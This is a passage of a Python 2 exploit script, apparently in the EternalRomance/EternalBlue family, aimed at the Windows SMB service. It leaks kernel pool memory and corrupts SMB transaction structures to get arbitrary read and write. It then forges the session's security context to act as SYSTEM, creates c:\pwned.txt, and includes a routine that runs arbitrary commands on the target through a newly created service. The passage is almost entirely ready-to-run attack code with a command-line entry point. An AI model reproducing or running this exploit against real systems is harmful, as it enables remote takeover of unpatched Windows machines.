if server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os):
info.update(WIN7_INFO)
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
info.update(WIN8_INFO)
else:
print('This exploit does not support this target')
sys.exit()
# ================================
# try align pagedpool and leak info until satisfy
# ================================
leakInfo = None
# max attempt: 10
for i in range(10):
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
if not FRAG_POOL_SIZE:
leak_frag_size(conn, tid, fid)
reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid)
if leakInfo is not None:
break
print('leak failed... try again')
conn.close(tid, fid)
conn.disconnect_tree(tid)
if leakInfo is None:
return False
info['fid'] = fid
info.update(leakInfo)
# ================================
# shift trans1.Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
# Note: Even the distance between bride transaction is exact what we want, the groom transaction might be in a wrong place.
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
indata_value = info['next_page_addr'] + 0x100 + 0x10 + 0x1000 + shift_indata_byte # maxParameterCount (0x1000)
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + TRANS_MID_OFFSET)
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
print('!!! Write to wrong place !!!')
print('the target might be crashed')
sys.exit()
print('success controlling groom transaction')
info['indata_next_trans_displacement'] = indata_next_trans_displacement
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed
# I will avoid memory leak
# ================================
# modify trans1 struct to be used for arbitrary read/write
# ================================
print('modify trans1 struct for arbitrary read/write')
# modify trans_special.InData to &trans1
conn.send_nt_trans_secondary(mid=fid, data=pack('<Q', info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + TRANS_INDATA_OFFSET)
wait_for_request_processed(conn)
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
# - trans1.InData to &trans2. so we can modify trans2 easily
conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<QQQ', info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=TRANS_INPARAM_OFFSET)
wait_for_request_processed(conn)
# modify trans2.mid
info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=TRANS_MID_OFFSET)
# Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================
# Modify this SMB session to be SYSTEM
# ================================
# Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this
# method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.
print('make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
# read session struct to get SecurityContext address
sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack('<Q', sessionData[info['SESSION_SECCTX_OFFSET']:info['SESSION_SECCTX_OFFSET']+8])[0]
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
print('overwriting session security context')
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
# ================================
# do whatever we want as SYSTEM over this SMB connection
# ================================
try:
smb_pwn(conn)
except:
pass
# restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
return True
def smb_pwn(conn):
smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True)
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
#service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# based on impacket/examples/serviceinstall.py
def service_exec(smbConn, cmd):
import random
import string
from impacket.dcerpc.v5 import transport, srvs, scmr
service_name = ''.join([random.choice(string.letters) for i in range(4)])
# Setup up a DCE SMBTransport with the connection already in place
rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn)
rpcsvc = rpctransport.get_dce_rpc()
rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svnHandle = None
try:
print("Opening SVCManager on %s....." % smbConn.getRemoteHost())
resp = scmr.hROpenSCManagerW(rpcsvc)
svcHandle = resp['lpScHandle']
# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception, e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e # Unexpected error
else:
# It exists, remove it
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
print('Creating service %s.....' % service_name)
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
serviceHandle = resp['lpServiceHandle']
if serviceHandle:
# Start service
try:
print('Starting service %s.....' % service_name)
scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
print('Stoping service %s.....' % service_name)
scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception, e:
print(str(e))
print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception, e:
print("ServiceExec Error on: %s" % smbConn.getRemoteHost())
print(str(e))
finally:
if svcHandle:
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
rpcsvc.disconnect()
if len(sys.argv) != 3:
print("{} <ip> <pipe_name>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = sys.argv[2]
exploit(target, pipe_name)
print('Done')